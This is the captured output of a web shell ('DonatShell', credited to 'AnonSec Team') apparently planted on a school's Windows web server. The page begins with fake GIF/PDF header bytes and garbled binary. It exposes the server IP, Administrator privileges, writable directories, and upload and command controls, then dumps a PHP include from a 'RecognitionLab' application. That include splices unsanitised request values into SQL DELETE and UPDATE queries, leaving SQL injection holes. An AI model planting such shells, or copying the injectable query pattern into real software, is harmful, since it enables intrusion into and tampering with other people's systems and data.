GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Class/RecognitionLab/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Class/RecognitionLab/QuestionPerform.phpinc
<?
// Class/QuestionPerform.phpinc
// Update question text and question answers.
#$DEBUG_QuestionPerform = true;
if ( !isset($DEBUG_QuestionPerform) ) $DEBUG_QuestionPerform = false;
debugTrackBegin(); // Begin TRACKing included file.

if ( $DEBUG_QuestionPerform ) printVar('$f_uuid',$f_uuid);
if ( $DEBUG_QuestionPerform ) printVar("\$_SESSION['uuid']",$_SESSION['uuid']);

if ( $_SESSION['uuid'] != $f_uuid ) {
	if ( $f_task == 'QuestionRemove' ) {
  	// DELETE question answers.
		$recognitionlabquestionId = $f_subtask;
		if ( $DEBUG_QuestionPerform ) printVar('$recognitionlabquestionId',$recognitionlabquestionId);
		$query = "
				DELETE
					FROM `recognitionlabquestionpartanswer`
				 WHERE recognitionlabquestionId = ".$recognitionlabquestionId."
		";
		if ( $DEBUG_QuestionPerform ) printVar('$query',$query,'q');
		$recognitionlabquestionDelete = query_do($query);
  	// DELETE question.
		$recognitionlabquestionId = $f_subtask;
		if ( $DEBUG_QuestionPerform ) printVar('$recognitionlabquestionId',$recognitionlabquestionId);
		$query = "
				DELETE
					FROM `recognitionlabquestion`
				 WHERE recognitionlabquestionId = ".$recognitionlabquestionId."
		";
		if ( $DEBUG_QuestionPerform ) printVar('$query',$query,'q');
		$recognitionlabquestionDelete = query_do($query);
		// Reorder questions.
		$query = "
				SELECT recognitionlabquestionId,
							 recognitionlabquestionNumber
					FROM `recognitionlabquestion`
				 WHERE recognitionlabId = ".$f_recognitionlabId."
			ORDER BY recognitionlabquestionNumber
		";
		$recognitionlabquestionOrderResult = query_do($query);
		$recognitionlabquestionOrderResultCount = $_SESSION['qry']['count'];
		if ($recognitionlabquestionOrderResultCount) {
			$recognitionlabquestionNumber = 0;
			mysqli_data_seek($recognitionlabquestionOrderResult, 0);
			while ($recognitionlabquestionOrderRow = mysqli_fetch_assoc($recognitionlabquestionOrderResult)) {
				$recognitionlabquestionNumber++;
				if ( $recognitionlabquestionNumber != $recognitionlabquestionOrderRow['recognitionlabquestionNumber'] ) {
					$query = "
							UPDATE `recognitionlabquestion` 
								 SET recognitionlabquestionNumber = ".$recognitionlabquestionNumber."
							 WHERE recognitionlabquestionId = ".$recognitionlabquestionOrderRow['recognitionlabquestionId']."
					";
					if ( $DEBUG_QuestionPerform ) printVar('$query',$query,'q');
					$questionUpdate = query_do($query);
				}
			}
		}
		
		
		/** /
		foreach ( $question as $questionId => $thispart ) {
			if ( $swapNumber && $questionId != 0 ) {
				$question[$questionId]['Number'] = $swapNumber;
				$question[$questionId]['Changed'] = true;
				$swapNumber++;
			}
			if ( $questionId == $f_subtask ) $swapNumber = $thispart['Number'];
		}
		/**/
		
	}
	if ( $f_task == 'QuestionUpdate' ) {
		// UPDATE question name.
		if ( $DEBUG_QuestionPerform ) printVar('$question',$question);
		if ( $question['Changed'] ) {
			$f_modifiedOn = currentDateTime();
			$query = "
					UPDATE `recognitionlabquestion` 
						 SET recognitionlabquestionName = '".query_safe($question['Name'])."',
								 recognitionlabquestionData = '".query_safe($question['Data'])."',
								 modifiedBy = ".$_SESSION['trueuserId'].",
								 modifiedOn = '".query_safe($f_modifiedOn)."'
					 WHERE recognitionlabquestionId = ".$questionId."
			";
			if ( $DEBUG_QuestionPerform ) printVar('$query',$query,'q');
			$questionUpdate = query_do($query);
		}
		foreach ( $questionpartIds as $questionpartId ) {
			if ( $questionpartanswer[$questionpartId]['Changed'] === 'Insert' && $questionpartanswer[$questionpartId]['Text'] !== '' ) {
				$f_addedOn = currentDateTime();
				$query = "
						INSERT
							INTO `recognitionlabquestionpartanswer` (
							recognitionlabquestionId,
							recognitionlabquestionpartId,
							recognitionlabquestionpartanswerText,
							addedBy,
							addedOn
						) VALUES (
							".$questionId.",
							".$questionpartId.",
						 '".query_safe($questionpartanswer[$questionpartId]['Text'])."',
							".$_SESSION['trueuserId'].",
						 '".query_safe($f_addedOn)."'
						)
				";
				if ( $DEBUG_QuestionPerform ) printVar('$query',$query,'q');
				$recognitionlabquestionpartanswerInsert = query_do($query);
			}
			if ( $questionpartanswer[$questionpartId]['Changed'] === 'Update' ) {
				if ( $questionpartanswer[$questionpartId]['Text'] !== '' ) {
					// UPDATE recognitionlabquestionpartanswer.
					$f_modifiedOn = currentDateTime();
					$query = "
							UPDATE `recognitionlabquestionpartanswer` 
								 SET recognitionlabquestionpartanswerText = '".query_safe($questionpartanswer[$questionpartId]['Text'])."',
										 modifiedBy = ".$_SESSION['trueuserId'].",
										 modifiedOn = '".query_safe($f_modifiedOn)."'
							 WHERE recognitionlabquestionId = ".$questionId."
								 AND recognitionlabquestionpartId = ".$questionpartId."
					";
					if ( $DEBUG_QuestionPerform ) printVar('$query',$query,'q');
					$recognitionlabquestionpartanswerUpdate = query_do($query);
				} else {
					// DELETE recognitionlabquestionpartanswer.
					$query = "
							DELETE
								FROM `recognitionlabquestionpartanswer`
							 WHERE recognitionlabquestionId = ".$questionId."
								 AND recognitionlabquestionpartId = ".$questionpartId."
					";
					if ( $DEBUG_QuestionPerform ) printVar('$query',$query,'q');
					$recognitionlabquestionpartanswerDelete = query_do($query);
				}
			}
		}
	}
	$_SESSION['uuid'] = $f_uuid;
}

debugTrackEnd(); // End TRACKing included file.
?>

Anon7 - 2022
AnonSec Team